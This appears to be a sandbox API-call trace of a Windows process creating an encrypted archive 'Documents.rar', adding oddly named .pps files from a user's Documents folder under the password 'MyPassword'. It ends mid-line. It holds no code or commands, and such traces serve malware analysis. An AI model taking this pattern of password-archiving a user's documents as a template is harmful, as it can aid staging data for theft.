[0068.952] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a10 [0068.952] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a10, Size=0x48) returned 0x39db40 [0068.952] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.952] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a10 [0068.952] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a10, Size=0x48) returned 0x39daf0 [0068.952] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.952] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.952] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a10 [0068.952] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a40 [0068.952] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65a40 | out: hHeap=0x2e0000) returned 1 [0068.952] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65a10 | out: hHeap=0x2e0000) returned 1 [0068.952] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b659e0, Size=0x4a) returned 0x3b5b210 [0068.952] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5b210, Size=0x86) returned 0x3a3910 [0068.952] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.952] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.953] GetTickCount () returned 0xa6784d [0068.953] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14429368627) returned 1 [0068.953] GetTickCount () returned 0xa6784d [0068.953] GetTickCount () returned 0xa6784d [0068.953] GetTickCount () returned 0xa6784d [0068.953] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.953] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.953] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.953] ResetEvent (hEvent=0x1a4) returned 1 [0068.953] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.955] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.955] ResetEvent (hEvent=0x1a4) returned 1 [0068.956] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.959] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.959] ResetEvent (hEvent=0x1a4) returned 1 [0068.959] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.961] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.961] GetTickCount () returned 0xa6784d [0068.961] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14430145798) returned 1 [0068.961] GetTickCount () returned 0xa6784d [0068.961] GetTickCount () returned 0xa6784d [0068.961] GetTickCount () returned 0xa6784d [0068.961] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.961] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.961] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.961] ResetEvent (hEvent=0x190) returned 1 [0068.961] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.962] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.962] ResetEvent (hEvent=0x190) returned 1 [0068.962] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.963] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.963] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.963] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.963] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x3fb330 [0068.963] SetFilePointer (in: hFile=0x198, lDistanceToMove=131, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x3fb3b3 [0068.963] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.963] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.963] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.963] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.963] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x12150, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x12150, lpOverlapped=0x0) returned 1 [0068.967] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.967] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.967] SetFilePointer (in: hFile=0x198, lDistanceToMove=4174640, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3fb330 [0068.967] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x3fb330 [0068.967] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659e0 [0068.967] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a10 [0068.967] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a10, Size=0x48) returned 0x39daf0 [0068.968] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.968] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a10 [0068.968] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a10, Size=0x48) returned 0x39db40 [0068.968] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.968] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.968] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a10 [0068.968] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a40 [0068.968] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65a40 | out: hHeap=0x2e0000) returned 1 [0068.968] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65a10 | out: hHeap=0x2e0000) returned 1 [0068.968] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b659e0, Size=0x4a) returned 0x3b5b210 [0068.968] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5b210, Size=0x86) returned 0x3a3910 [0068.968] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x83, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x83, lpOverlapped=0x0) returned 1 [0068.968] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659e0 [0068.968] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x83) returned 0x3a3eb0 [0068.968] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.968] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.968] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x40d503 [0068.968] CloseHandle (hObject=0x1b0) returned 1 [0068.968] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.968] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.968] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.968] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.968] FindFirstFileW (in: lpFileName="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PHjFMjnQ02ATkGOZl.pps", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.968] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.969] CreateFileW (lpFileName="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PHjFMjnQ02ATkGOZl.pps" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\ticknwyqxorsfs05kwkk\\phjfmjnq02atkgozl.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.969] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.969] GetTickCount () returned 0xa6785d [0068.969] GetLastError () returned 0x0 [0068.969] SetLastError (dwErrCode=0x0) [0068.969] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0068.969] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0068.969] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbf90, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0068.969] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0068.969] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.969] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.969] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.969] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.969] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="MoqtBms5meoe1w.rtf") returned 18 [0068.969] SetWindowTextW (hWnd=0x10280, lpString="PHjFMjnQ02ATkGOZl.pps") returned 1 [0068.969] GetTickCount () returned 0xa6785d [0068.969] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.969] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.970] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.970] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.970] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x233)) [0068.970] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.970] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14431022188) returned 1 [0068.970] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xca08, lpOverlapped=0x0) returned 1 [0068.971] ReadFile (in: hFile=0x1b0, lpBuffer=0x36aca48, nNumberOfBytesToRead=0xf35f8, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36aca48*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.971] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.971] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.971] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a10 [0068.971] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a40 [0068.971] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a40, Size=0x48) returned 0x39db40 [0068.971] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.971] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a40 [0068.971] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a40, Size=0x48) returned 0x39daf0 [0068.971] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.971] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.971] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a40 [0068.971] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a70 [0068.971] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65a70 | out: hHeap=0x2e0000) returned 1 [0068.971] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65a40 | out: hHeap=0x2e0000) returned 1 [0068.971] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a10, Size=0x4d) returned 0x3b5b210 [0068.971] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5b210, Size=0x89) returned 0x3b99810 [0068.971] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.971] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b99810 | out: hHeap=0x2e0000) returned 1 [0068.973] GetTickCount () returned 0xa6785d [0068.973] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14431355056) returned 1 [0068.973] GetTickCount () returned 0xa6785d [0068.973] GetTickCount () returned 0xa6785d [0068.973] GetTickCount () returned 0xa6785d [0068.973] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.973] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.973] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.974] ResetEvent (hEvent=0x1a4) returned 1 [0068.974] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.976] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.976] ResetEvent (hEvent=0x1a4) returned 1 [0068.976] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.978] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.978] GetTickCount () returned 0xa6785d [0068.978] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14431813432) returned 1 [0068.978] GetTickCount () returned 0xa6785d [0068.978] GetTickCount () returned 0xa6785d [0068.978] GetTickCount () returned 0xa6785d [0068.978] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.978] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.978] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.978] ResetEvent (hEvent=0x190) returned 1 [0068.978] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.978] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.979] ResetEvent (hEvent=0x190) returned 1 [0068.979] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.979] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.979] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.979] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.979] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x40d503 [0068.979] SetFilePointer (in: hFile=0x198, lDistanceToMove=135, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x40d58a [0068.979] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.979] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.979] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.980] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.980] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xca90, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xca90, lpOverlapped=0x0) returned 1 [0068.980] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.980] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.980] SetFilePointer (in: hFile=0x198, lDistanceToMove=4248835, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x40d503 [0068.980] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x40d503 [0068.980] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a10 [0068.980] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a40 [0068.980] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a40, Size=0x48) returned 0x39daf0 [0068.981] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.981] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a40 [0068.981] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a40, Size=0x48) returned 0x39db40 [0068.981] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.981] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.981] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a40 [0068.981] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a70 [0068.981] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65a70 | out: hHeap=0x2e0000) returned 1 [0068.981] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65a40 | out: hHeap=0x2e0000) returned 1 [0068.981] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a10, Size=0x4d) returned 0x3b5b210 [0068.981] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5b210, Size=0x89) returned 0x3b99810 [0068.981] WriteFile (in: hFile=0x198, lpBuffer=0x3b99812*, nNumberOfBytesToWrite=0x87, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3b99812*, lpNumberOfBytesWritten=0x1c82c0*=0x87, lpOverlapped=0x0) returned 1 [0068.981] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a10 [0068.981] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x87) returned 0x3a3910 [0068.981] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.981] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b99810 | out: hHeap=0x2e0000) returned 1 [0068.981] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x41a01a [0068.981] CloseHandle (hObject=0x1b0) returned 1 [0068.981] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.981] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.981] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.981] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.981] FindFirstFileW (in: lpFileName="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PJuyGmzhd Ku-a_pm.pps", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.981] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.981] CreateFileW (lpFileName="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PJuyGmzhd Ku-a_pm.pps" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\ticknwyqxorsfs05kwkk\\pjuygmzhd ku-a_pm.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.981] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.981] GetTickCount () returned 0xa6785d [0068.981] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.981] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.981] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.981] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.981] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="PHjFMjnQ02ATkGOZl.pps") returned 21 [0068.981] SetWindowTextW (hWnd=0x10280, lpString="PJuyGmzhd Ku-a_pm.pps") returned 1 [0068.982] GetTickCount () returned 0xa6785d [0068.982] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.982] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.983] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.983] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.983] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x243)) [0068.983] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.983] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14432307719) returned 1 [0068.983] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x7af4, lpOverlapped=0x0) returned 1 [0068.983] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a7b34, nNumberOfBytesToRead=0xf850c, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a7b34*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.983] 